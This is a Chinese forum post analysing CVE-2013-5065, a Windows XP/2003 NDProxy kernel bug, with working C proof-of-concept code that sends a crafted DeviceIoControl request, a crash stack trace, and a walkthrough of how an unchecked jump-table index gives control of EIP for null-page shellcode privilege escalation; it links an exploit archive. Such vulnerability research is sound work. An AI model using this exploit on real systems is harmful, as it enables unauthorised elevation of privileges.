[原创]CVE-2013-5065 PoC EXP及简要分析
PoC:
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hDev = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if(hDev==INVALID_HANDLE_VALUE)
{
printf("CreateFile Error:%d\n",GetLastError());
}
DWORD InBuf[0x15] = {0};
DWORD dwRetBytes = 0;
*(InBuf+5) = 0x7030125;
*(InBuf+7) = 0x34;
DeviceIoControl(hDev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, &dwRetBytes, 0);
CloseHandle(hDev);
return 0;
}
XP执行蓝屏, 异常在PxIODispatch上:
b203ec14 f88ed145 81f31a30 81a76c10 81f2b2c0 0x38 b203ec34 804ef129 81f46ed8 000001b0 806d32d0 NDProxy!PxIODispatch+0x2b3 b203ec44 80575dde 81e16df0 81a76c10 81e16d80 nt!IopfCallDriver+0x31 b203ec58 80576c7f 81f46ed8 81e16d80 81a76c10 nt!IopSynchronousServiceTail+0x70 b203ed00 8056f4ec 000007e8 00000000 00000000 nt!IopXxxControlFile+0x5e7 b203ed34 8053e648 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a b203ed34 7c92e4f4 000007e8 00000000 00000000 nt!KiFastCallEntry+0xf8 0012fe4c 7c92d26c 7c801675 000007e8 00000000 ntdll!KiFastSystemCallRet 0012fe50 7c801675 000007e8 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 0012feb0 004010c2 000007e8 8fff23cc 0012ff28 0x7c801675 0012ff80 004012e9 00000001 00380fc0 00381058 0x4010c2 0012ffc0 7c817067 00241fe4 0012f7bc 7ffde000 0x4012e9 0012fff0 00000000 00401200 00000000 78746341 0x7c817067
IDA定位到PxIODispatch:

kd> bp NDProxy!PxIODispatch下断:

LockState+0xC正好是InBuf的指针






到这里可以看到EIP已经被控制到0x38了。
18008这里是一个跳转表,控制这个跳转是由
*(InBuf+5) = 0x7030125;
来控制最终的跳转偏移: (0x7030125-0x7030101)*3*4=0x1B0
0x18008+0x1B0=0x181B8,此时可以看到这个位置已经并非一个函数地址,而是0x38

这个漏洞产生的原因就是因为对*(InBuf+5)的内容没有进行检查,导致可以超出跳转表的范围,致使最终控制了EIP。

既然已经控制到0x38,那么自然想到0地址分配,上面这张图在0x38布置了一个跳板,使其跳向了shellcode,最终通过shellcode执行提权操作。

EXP:
CVE-2013-5065.zip
最后说一下个人对这个漏洞的评价:
首先是影响范围: XP SP3和2003 SP2, 这两个属于即将淘汰的系统了;
第二是要开启Routing and Remote Access服务 这个服务默认是关闭的;
经过测试发现, 启动Remote Access Auto Connection Manager这个服务也是可以成功的;
---------------
PS:感谢ProgmBoy指点,确实是Createfile参数没有设置正确,导致Guset权限下无法正常打开。
--The 3nd--
其实我啥都不会, 上面都是我瞎编的, 实在编不下去了
